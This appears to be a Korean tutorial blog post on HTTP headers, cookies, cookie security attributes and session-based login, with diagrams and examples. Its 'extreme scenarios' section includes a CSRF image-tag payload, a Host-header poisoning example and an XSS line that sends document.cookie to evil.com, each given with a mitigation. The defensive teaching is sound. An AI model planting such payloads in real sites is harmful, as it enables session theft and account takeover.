한 줄 요약: HTTP 일반 헤더는 요청/응답의 부가 정보를 담고, 쿠키는 Stateless HTTP에서 상태를 유지하기 위한 핵심 메커니즘이다.

비유로 먼저 이해하기: HTTP 헤더는 택배 송장과 같다. 택배 상자(본문) 안에 물건(데이터)이 들어 있고, 송장(헤더)에는 보낸 사람, 받는 사람, 배송 날짜, 주의사항(깨지기 쉬움, 냉장 보관 등)이 적혀 있다. 택배 기사는 상자를 열지 않고도 송장만 보고 배송 방법을 결정한다. HTTP 헤더도 마찬가지로, 서버와 브라우저는 본문을 해석하기 전에 헤더를 먼저 읽어 요청/응답을 어떻게 처리할지 판단한다.

일반 정보 헤더

비유: 일반 정보 헤더는 명함 교환과 같다. 처음 만나는 사람에게 “저는 누구이고(User-Agent), 누구의 소개로 왔으며(Referer), 연락처는 이것(From)이고, 만난 시각은 이때(Date)입니다”라고 자기 소개를 하는 것이다. 서버 쪽도 “저는 Apache 서버(Server)이고, 이 응답은 지금(Date) 만들었습니다”라고 답한다.

From — 사용자 에이전트 이메일

From: webmaster@example.com
  • 검색 엔진, 크롤러 등이 자신의 연락처를 알릴 때 사용한다
  • 일반 브라우저에서는 거의 사용하지 않는다
  • 요청에서 사용한다

Referer — 이전 페이지 주소

Referer: https://www.google.com/search?q=홍길동
  • 사용자가 어디서 현재 페이지로 왔는지 알려준다
  • 유입 경로 분석, 광고 성과 측정에 활용한다
  • 요청에서 사용한다
sequenceDiagram
    participant U as "사용자"
    participant G as "구글"
    participant S as "example.com"

    U->>G: "1. 홍길동 검색"
    G-->>U: "2. 검색 결과 (example.com 링크 포함)"
    U->>S: "3. GET /about HTTP/1.1\nReferer: https://www.google.com/search?q=홍길동"
    S->>S: "4. Referer 기록 → 유입 경로 분석"
    S-->>U: "5. 200 OK"

참고: Referer는 “Referrer”의 오타이지만 HTTP 표준에 그대로 굳어졌다.

User-Agent — 클라이언트 애플리케이션 정보

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  • 어떤 브라우저, OS, 앱에서 요청했는지 알려준다
  • 특정 브라우저에서만 발생하는 버그를 파악하거나 반응형 처리에 활용한다
  • 요청에서 사용한다
// Spring에서 User-Agent 파싱 예
@GetMapping("/page")
public String page(@RequestHeader("User-Agent") String userAgent,
                   Model model) {
    boolean isMobile = userAgent.contains("Mobile");
    model.addAttribute("isMobile", isMobile);
    return isMobile ? "mobile/page" : "desktop/page";
}

Server — 서버 소프트웨어 정보

Server: Apache/2.4.54 (Ubuntu)
Server: nginx/1.24.0
Server: Apache Tomcat/10.1.7
  • 원서버(Origin Server)의 소프트웨어 정보를 알린다
  • 응답에서 사용한다
  • 보안상 버전 정보를 숨기는 것이 권장된다

Date — 메시지 생성 날짜

Date: Tue, 01 Jan 2024 09:00:00 GMT
  • HTTP 메시지가 생성된 날짜와 시간
  • 응답에서 사용한다

특별한 정보 헤더

Host — 요청 호스트 정보 (필수)

GET /members HTTP/1.1
Host: api.example.com
  • HTTP/1.1에서 유일한 필수 헤더
  • 하나의 IP에 여러 도메인이 운영될 때 어느 서버로 요청을 보낼지 구분한다
sequenceDiagram
    participant C as "클라이언트"
    participant S as "서버 IP: 203.0.113.1"

    Note over S: "동일 IP에 3개 가상 호스트\naaa.com / bbb.com / ccc.com"

    C->>S: "1. GET /index HTTP/1.1\nHost: aaa.com"
    S->>S: "2. Host 헤더로 aaa.com 가상 호스트 선택"
    S-->>C: "3. aaa.com 콘텐츠 반환"

    C->>S: "4. GET /index HTTP/1.1\nHost: bbb.com"
    S->>S: "5. Host 헤더로 bbb.com 가상 호스트 선택"
    S-->>C: "6. bbb.com 콘텐츠 반환"

Location — 리다이렉션 URL

HTTP/1.1 301 Moved Permanently
Location: https://new.example.com/page

HTTP/1.1 201 Created
Location: /members/100
  • 3xx 응답에서 브라우저가 자동으로 이동할 URL
  • 201 Created 응답에서 생성된 리소스의 URI

Allow — 허용 메서드

HTTP/1.1 405 Method Not Allowed
Allow: GET, HEAD, PUT
  • 405 Method Not Allowed 응답에 반드시 포함해야 한다
  • 해당 리소스에서 허용하는 HTTP 메서드를 알린다

Retry-After — 재요청 대기 시간

HTTP/1.1 503 Service Unavailable
Retry-After: 3600

HTTP/1.1 429 Too Many Requests
Retry-After: Wed, 01 Jan 2024 09:00:00 GMT
  • 서비스 불가 시 얼마 후 재시도해야 하는지 안내한다
  • 초 단위 숫자 또는 날짜 형식으로 표현한다

인증 헤더

Authorization — 클라이언트 인증 정보

Authorization: Basic dXNlcjpwYXNzd29yZA==
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Authorization: ApiKey abc123def456
  • 서버에 인증 정보를 전달한다
  • 인증 방식에 따라 값 형식이 다르다
인증 방식 예시 특징
Basic Basic base64(user:pass) ID/PW를 Base64 인코딩, HTTPS 필수
Bearer Bearer {JWT토큰} JWT 기반 인증, 현재 가장 많이 사용
API Key ApiKey {key} API 키 인증
Digest Digest ... MD5 해시 기반 (Basic보다 안전)

WWW-Authenticate — 인증 방법 설명

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api.example.com", charset="UTF-8"
  • 401 응답과 함께 클라이언트에게 인증 방법을 안내한다
  • 클라이언트는 이 정보를 참고해 적절한 인증 방식으로 재요청한다

쿠키가 필요한 이유 — Stateless 문제

HTTP는 Stateless 프로토콜이다. 요청과 응답이 끝나면 서버는 클라이언트를 기억하지 못한다.

sequenceDiagram
    participant U as "사용자"
    participant S as "서버"

    Note over U,S: "쿠키 없는 경우"
    U->>S: "1. POST /login {id: hong, pw: 1234}"
    S-->>U: "2. 200 OK 로그인 성공"
    U->>S: "3. GET /mypage"
    S-->>U: "4. 안녕하세요 손님! (사용자를 모름)"

    Note over U,S: "쿠키 사용"
    U->>S: "5. POST /login {id: hong, pw: 1234}"
    S-->>U: "6. 200 OK\nSet-Cookie: sessionId=abc123"
    U->>S: "7. GET /mypage\nCookie: sessionId=abc123"
    S->>S: "8. sessionId로 사용자 조회 → 홍길동"
    S-->>U: "9. 안녕하세요 홍길동님!"
Set-Cookie: sessionId=abc123; Expires=Sat, 01-Jan-2025 00:00:00 GMT; Path=/; Domain=.example.com; Secure; HttpOnly; SameSite=Lax
속성 설명
name=value 쿠키 이름과 값
Expires=날짜 쿠키 만료 날짜
Max-Age=초 쿠키 유효 기간 (초 단위)
Domain=도메인 쿠키 전송 대상 도메인
Path=경로 쿠키 전송 대상 경로
Secure HTTPS일 때만 전송
HttpOnly JavaScript에서 접근 불가 (XSS 방어)
SameSite 크로스사이트 요청 제어 (CSRF 방어)
Cookie: sessionId=abc123; theme=dark; lang=ko
  • 서버가 설정한 쿠키를 해당 도메인 요청 시 자동으로 포함한다
  • 브라우저가 자동으로 처리한다

쿠키 생명주기

세션 쿠키 vs 영속 쿠키

# 세션 쿠키: 브라우저 종료 시 삭제 (Expires/Max-Age 없음)
Set-Cookie: tempData=hello

# 영속 쿠키: 지정 날짜까지 유지
Set-Cookie: userId=hong; Expires=Sat, 01-Jan-2026 00:00:00 GMT

# Max-Age로 유효 기간 지정 (초 단위, Expires보다 우선)
Set-Cookie: userId=hong; Max-Age=86400    # 1일

쿠키 삭제

# Max-Age=0 또는 음수로 즉시 삭제
Set-Cookie: userId=hong; Max-Age=0

쿠키 도메인과 경로

Domain 속성

# example.com과 모든 서브도메인에서 쿠키 전송
Set-Cookie: sessionId=abc; Domain=example.com
# → example.com, api.example.com, www.example.com 등 모두 전송

# 도메인 미설정: 현재 도메인에만 전송 (서브도메인 미전송)
Set-Cookie: sessionId=abc
# → api.example.com에서 설정 시 api.example.com에만 전송

Path 속성

# /app 이하 경로에서만 쿠키 전송
Set-Cookie: token=abc; Path=/app

# /app/members → 전송 O
# /app/orders  → 전송 O
# /home        → 전송 X

쿠키 보안

Secure

Set-Cookie: sessionId=abc; Secure
  • HTTPS 연결에서만 쿠키를 전송한다
  • HTTP에서는 전송하지 않아 도청 방지

HttpOnly

Set-Cookie: sessionId=abc; HttpOnly
  • JavaScript(document.cookie)에서 쿠키에 접근할 수 없다
  • XSS(Cross-Site Scripting) 공격으로 쿠키를 탈취하는 것을 방지한다

SameSite

Set-Cookie: sessionId=abc; SameSite=Strict
Set-Cookie: sessionId=abc; SameSite=Lax
Set-Cookie: sessionId=abc; SameSite=None; Secure
설명
Strict 같은 사이트 요청에만 전송. 외부 링크 클릭 시 미전송
Lax 같은 사이트 + 안전한 외부 링크 클릭 시 전송 (기본값)
None 항상 전송. Secure 속성 필수

CSRF(Cross-Site Request Forgery) 공격 방어에 사용한다.


세션 기반 인증 전체 흐름

sequenceDiagram
    participant C as "브라우저"
    participant S as "서버"
    participant D as "세션 저장소"

    C->>S: "1. POST /login\n{id: hong, pw: 1234}"
    S->>S: "2. ID/PW 검증"
    S->>D: "3. 세션 생성\nsessionId=abc123 → {userId:1, name:홍길동}"
    D-->>S: "4. 저장 완료"
    S-->>C: "5. 200 OK\nSet-Cookie: sessionId=abc123; HttpOnly; Secure"

    C->>S: "6. GET /mypage\nCookie: sessionId=abc123"
    S->>D: "7. sessionId=abc123 조회"
    D-->>S: "8. {userId:1, name:홍길동}"
    S-->>C: "9. 200 OK — 홍길동님 마이페이지"

    C->>S: "10. POST /logout"
    S->>D: "11. 세션 삭제"
    S-->>C: "12. 200 OK\nSet-Cookie: sessionId=abc123; Max-Age=0"

극한 시나리오

시나리오 1: Referer 헤더로 민감 정보 유출

사용자가 https://bank.com/transfer?account=1234567890&amount=1000000 페이지에서 외부 링크를 클릭했다. 브라우저는 Referer 헤더에 전체 URL을 포함하여 외부 서버에 전송한다. 외부 서버의 액세스 로그에 계좌번호와 이체 금액이 그대로 기록된다. 이를 방지하려면 Referrer-Policy: origin 또는 no-referrer 헤더를 설정하여 경로와 쿼리스트링이 외부로 전송되지 않도록 해야 한다. 민감 정보는 URL 쿼리스트링에 포함하지 않는 것이 원칙이다.

시나리오 2: Server 헤더 버전 노출로 해킹 공격 유도

Server: Apache/2.4.49 (Ubuntu) 헤더가 응답에 포함되어 있다. Apache 2.4.49에는 Path Traversal 취약점(CVE-2021-41773)이 존재한다. 공격자는 Server 헤더만 보고 해당 취약점을 자동 스캔하여 서버 파일 시스템에 접근한다. 운영 환경에서는 ServerTokens Prod(Apache) 또는 server_tokens off(nginx)로 버전 정보를 숨겨야 한다.

시나리오 3: SameSite 미설정으로 CSRF 공격 성공

쇼핑몰의 세션 쿠키에 SameSite 속성을 설정하지 않았다. 공격자가 악성 사이트에 <img src="https://shop.com/api/transfer?to=attacker&amount=100000">을 삽입한다. 사용자가 해당 사이트를 방문하면 브라우저가 쇼핑몰 쿠키를 자동 포함하여 이체 요청을 보낸다. SameSite=Lax(기본값)라도 GET 요청을 통한 상태 변경이 가능하면 공격이 성립한다. 상태 변경 API는 반드시 POST/PUT/DELETE로 설계하고, SameSite=Strict 또는 CSRF 토큰을 병용해야 한다.

시나리오 4: HttpOnly 미설정으로 XSS를 통한 세션 탈취

세션 쿠키에 HttpOnly를 설정하지 않았다. 게시판에 XSS 스크립트 <script>fetch('https://evil.com/steal?c='+document.cookie)</script>가 삽입된다. 다른 사용자가 해당 게시글을 열면 세션 쿠키가 공격자 서버로 전송된다. 공격자는 탈취한 세션으로 사용자 계정에 접근한다. HttpOnly를 설정하면 JavaScript에서 쿠키에 접근할 수 없어 XSS가 발생해도 쿠키 탈취는 방지된다.

시나리오 5: Host 헤더 조작으로 비밀번호 재설정 링크 하이재킹

서버가 비밀번호 재설정 이메일을 생성할 때 Host 헤더 값을 사용하여 링크를 만든다. 공격자가 Host: evil.com으로 조작한 요청을 보내면, 피해자에게 https://evil.com/reset?token=abc123 링크가 포함된 이메일이 발송된다. 피해자가 링크를 클릭하면 토큰이 공격자 서버로 전달된다. Host 헤더는 서버 측에서 허용 목록(whitelist)으로 검증해야 한다.


핵심 포인트 정리

  • Host는 HTTP/1.1에서 필수 헤더다. 가상 호스팅 환경에서 서버를 식별한다
  • Referer는 유입 경로 분석에 사용하며, referrer의 오타이지만 표준으로 굳어졌다
  • 쿠키는 Stateless HTTP에서 로그인 상태 유지의 핵심 메커니즘이다
  • HttpOnlyXSS 방어, SameSiteCSRF 방어, Secure도청 방어
  • 세션 쿠키는 브라우저 종료 시, 영속 쿠키는 Expires/Max-Age 만료 시 삭제된다
  • 쿠키는 민감한 정보(비밀번호, 주민번호 등)를 절대 저장하면 안 된다

카테고리:

업데이트:

댓글